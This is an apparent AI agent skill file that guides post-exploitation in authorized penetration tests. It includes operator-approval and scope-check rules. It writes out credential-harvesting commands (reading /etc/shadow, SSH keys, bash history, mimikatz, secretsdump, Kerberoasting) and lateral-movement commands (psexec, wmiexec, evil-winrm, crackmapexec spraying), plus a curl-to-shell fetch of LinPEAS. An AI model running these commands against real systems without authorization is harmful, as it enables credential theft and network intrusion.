post-exploit

name	post-exploit
description	Post-exploitation activities including privilege escalation, lateral movement, persistence establishment, credential harvesting, and internal network enumeration for penetration testing engagements. Use this skill whenever the user mentions post-exploitation, privesc, privilege escalation, lateral movement, pivoting, credential dumping, hash extraction, internal recon, persistence, maintaining access, domain enumeration, Active Directory attacks, pass-the-hash, Kerberoasting, token impersonation, data exfiltration proof, or any activity that occurs AFTER initial access has been gained. Also trigger for: linpeas, winpeas, bloodhound, mimikatz, impacket, crackmapexec, evil-winrm, kerbrute, responder, meterpreter post modules, local enumeration, SUID binaries, kernel exploits, or "we have a shell, now what". This is phase four — trigger after exploit-dev confirms access, or when the operator already has a session on the target system. CRITICAL: Every action requires operator approval. Lateral movement to new hosts requires explicit scope confirmation for each new target.
compatibility	{"tools":["bash","python"],"mcps":["desktop-commander","hexstrike"],"skills":["exploit-dev","red-team-report","ai-agent-orchestration"]}

PostExploit Skill

Overview

Guides post-exploitation activities on compromised systems: privilege escalation, internal enumeration, lateral movement, and evidence collection. Every action is prepared as a command for operator execution. Produces structured findings that feed into the RedTeamReport skill for final deliverable generation.

⚠️ Critical Safety Rules

1. NEVER auto-execute post-exploitation commands — operator runs everything
2. Lateral movement to a new host = new scope check — confirm before pivoting
3. NEVER exfiltrate real sensitive data — prove access, don't steal data
4. NEVER install persistent implants unless RoE explicitly authorizes persistence
5. Log every action — post-exploitation is where engagements go wrong legally
6. Time-box sessions — stay within the engagement window

Prerequisites

• Active session on compromised host (from exploit-dev)
• Engagement scope explicitly covers post-exploitation
• Kali tools: linpeas, winpeas, bloodhound-python, impacket suite, crackmapexec
• Working directory: /tmp/pentest/{target}/post-exploit/

Core Instructions

Step 1 — Situational Awareness

First commands on any new host (present to operator):

Linux:

id && whoami && hostname
uname -a
cat /etc/os-release
ip a
ss -tlnp
ps aux --forest
cat /etc/passwd
sudo -l
env

Windows:

whoami /all
hostname
systeminfo
ipconfig /all
netstat -ano
tasklist /v
net user
net localgroup administrators

Step 2 — Privilege Escalation

Linux enumeration:

# Upload and run LinPEAS
curl -sL https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh \
  | sh | tee /tmp/pentest/{target}/post-exploit/linpeas_output.txt

# Manual checks
find / -perm -4000 2>/dev/null           # SUID binaries
find / -writable -type f 2>/dev/null      # Writable files
cat /etc/crontab && ls -la /etc/cron.*    # Cron jobs
getcap -r / 2>/dev/null                   # Linux capabilities

Windows enumeration:

# Upload and run WinPEAS
.\winPEASx64.exe | Tee-Object -FilePath C:\Temp\winpeas_output.txt

# Manual checks
# Check for unquoted service paths
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\"
# Check for AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# Token privileges
whoami /priv

Operator decision point: Present escalation paths ranked by reliability. Operator chooses which path to attempt.

Step 3 — Credential Harvesting

Linux:

# Search for credentials in files
grep -rli "password\|passwd\|secret\|api.key\|token" /home/ /opt/ /var/ /etc/ 2>/dev/null
cat /etc/shadow  # If root
# SSH keys
find / -name "id_rsa" -o -name "id_ed25519" 2>/dev/null
# Bash history
cat /home/*/.bash_history

Windows / Active Directory:

# Mimikatz (operator must approve — highly invasive)
# Present command, do not execute:
# mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

# Impacket — secretsdump (from attacker machine via creds)
# secretsdump.py {domain}/{user}:{pass}@{target_ip}

# Kerberoasting
# GetUserSPNs.py {domain}/{user}:{pass} -dc-ip {dc_ip} -request

# BloodHound collection
# bloodhound-python -d {domain} -u {user} -p {pass} -ns {dc_ip} -c all

Step 4 — Lateral Movement (Requires Per-Host Scope Confirmation)

Before moving to ANY new host:

⚠️ LATERAL MOVEMENT REQUEST
━━━━━━━━━━━━━━━━━━━━━━━━━━━
Current host: {current_ip} ({hostname})
Target host:  {new_ip} ({new_hostname})
Method:       {psexec/wmiexec/evil-winrm/ssh}
Credentials:  {cred_type used}

Is {new_ip} within authorized scope? [OPERATOR MUST CONFIRM]

Movement techniques (prepared, not auto-executed):

# WMI execution
wmiexec.py {domain}/{user}:{pass}@{target_ip}

# PSExec
psexec.py {domain}/{user}:{pass}@{target_ip}

# Evil-WinRM
evil-winrm -i {target_ip} -u {user} -p {pass}

# SSH with harvested keys
ssh -i {key_path} {user}@{target_ip}

# CrackMapExec (spray against multiple hosts)
crackmapexec smb {subnet} -u {user} -p {pass} --shares

Step 5 — Evidence Collection for Reporting

For each compromised host, capture:

# Create evidence directory
mkdir -p /tmp/pentest/{target}/post-exploit/{hostname}

# Proof of access (screenshot-equivalent)
echo "=== PROOF OF ACCESS ===" > /tmp/pentest/{target}/post-exploit/{hostname}/proof.txt
echo "Timestamp: $(date -u)" >> proof.txt
echo "Hostname: $(hostname)" >> proof.txt
echo "User: $(whoami)" >> proof.txt
echo "IP: $(ip a | grep inet)" >> proof.txt

# Network position proof
ip route
arp -a

# Sensitive data ACCESS proof (do NOT exfiltrate actual data)
# Example: "We could access /var/lib/mysql/customer_db" — screenshot, don't copy
ls -la /var/lib/mysql/ >> proof.txt

HexStrike MCP Integration

Tool: post_exploit (if implemented)
Args: {
  "session_id": "{active_session}",
  "action": "enumerate" | "privesc" | "creds" | "lateral",
  "target_host": "{ip}"
}
Returns: { commands: [], approval_required: true }

Output Format

{
  "engagement_id": "ENG-2026-001",
  "target": "example.com",
  "compromised_hosts": [
    {
      "hostname": "web01",
      "ip": "10.0.0.5",
      "initial_access": "www-data (via CVE-2024-XXXXX)",
      "escalated_to": "root (via SUID binary /usr/bin/find)",
      "credentials_found": ["mysql_root_hash", "ssh_key_admin"],
      "lateral_movement": ["Pivoted to db01 via SSH key"],
      "evidence_path": "/tmp/pentest/example.com/post-exploit/web01/",
      "business_impact": "Full database access — customer PII at risk"
    }
  ],
  "attack_path": [
    "Internet → blog.example.com (RCE via WP plugin)",
    "www-data → root (SUID find)",
    "web01 → db01 (SSH key reuse)",
    "db01 → full customer database access"
  ],
  "total_time": "3h 45m",
  "next_step": "red-team-report"
}

Handoff to Next Skill

When post-exploitation objectives are met, pass to red-team-report:

{
  "skill": "RedTeamReport",
  "params": {
    "recon_data": "/tmp/pentest/{target}/recon_output.json",
    "vuln_data": "/tmp/pentest/{target}/vuln_output.json",
    "exploit_data": "/tmp/pentest/{target}/exploit_output.json",
    "post_exploit_data": "/tmp/pentest/{target}/post_exploit_output.json",
    "engagement_scope": "{scope_document}",
    "report_type": "external_pentest"
  }
}

Output Checklist

• Situational awareness completed on all compromised hosts
• Privilege escalation attempted where authorized
• Credentials harvested and securely stored (hashes, not plaintext where possible)
• Lateral movement performed only to in-scope hosts with operator approval
• Evidence collected per host (proof of access, not data exfiltration)
• Complete attack path documented
• All actions logged with timestamps
• Handoff data prepared for red-team-report skill